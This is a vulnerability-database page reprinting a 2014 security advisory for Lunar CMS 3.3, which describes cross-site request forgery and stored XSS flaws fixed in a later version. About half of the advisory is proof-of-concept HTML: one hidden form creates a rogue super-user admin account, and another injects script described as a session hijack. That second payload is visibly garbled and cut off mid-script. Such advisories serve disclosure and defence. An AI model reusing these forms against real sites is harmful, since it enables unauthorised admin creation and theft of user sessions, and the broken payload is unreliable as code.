Lucene search
K

Lunar CMS 3.3 CSRF And Stored XSS Vulnerability

🗓️ 21 Jun 2014 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 131 Views

Lunar CMS 3.3 CSRF and Stored XSS Vulnerability in PHP5 & MySQL allows performing actions without HTTP request validity checks. Input not properly sanitized in 'Contact Form' extension. Fixed in version 3.3-3.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2014-4718
21 Jun 201400:00
circl
CVE
CVE-2014-4718
3 Jul 201414:00
cve
Cvelist
CVE-2014-4718
3 Jul 201414:00
cvelist
EUVD
EUVD-2014-4637
7 Oct 202500:30
euvd
NVD
CVE-2014-4718
3 Jul 201414:55
nvd
Prion
Cross site request forgery (csrf)
3 Jul 201414:55
prion
RedhatCVE
CVE-2014-4718
22 May 202513:38
redhatcve
<!--

Lunar CMS 3.3 CSRF And Stored XSS Vulnerability


Vendor: Lunar CMS
Product web page: http://www.lunarcms.com
Affected version: 3.3

Summary: Lunar CMS is a freely distributable open source content
management system written for use on servers running the ever so
popular PHP5 & MySQL.

Desc: Lunar CMS suffers from a cross-site request forgery and a
stored xss vulnerabilities. The application allows users to perform
certain actions via HTTP requests without performing any validity
checks to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user
visits a malicious web site. Input passed to the 'subject' and 'email'
POST parameters thru the 'Contact Form' extension/module is not properly
sanitised before being returned to the user. This can be exploited to
execute arbitrary HTML and script code in a user's browser session in
context of an affected site.

Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2014-5188
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5188.php


11.06.2014

--><html><body><p>CSRF Add Admin
===============


  </p>
<form action="http://localhost/lunarcms/admin/user_create.php" method="POST">
<input name="name" type="hidden" value="Hacker"/>
<input name="email" type="hidden" value="[email protected]"/>
<input name="password1" type="hidden" value="251ftw"/>
<input name="password2" type="hidden" value="251ftw"/>
<input name="access" type="hidden" value="0"/>
<input name="Submit" type="hidden" value="submit"/>
<input type="submit" value="Submit form"/>
</form>
  


Access levels:

0: Super user
1: Admin
2: Website only



CSRF Stored XSS (Session Hijack)
=================================


  
    <form action="http://localhost/lunarcms/admin/extensions.php?ext=contact_form&amp;top" method="POST">
<input name="email" type="hidden" value='"&gt;&lt;script&gt;alert(1);&lt;/script&gt;'/>
<input name="error" type="hidden" value="2"/>
<input name="sent" type="hidden" value="1"/>
<input http:="" name="subject" type="hidden" value='"&gt;&lt;script&gt;var x = new Image();x.src='/>' /&gt;
      <input name="submit" type="hidden" value="submit"/>
<input type="submit" value="Submit form"/>
</form>
</body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jun 2014 00:00Current
6Medium risk
Vulners AI Score6
CVSS 26.8
EPSS0.01972
131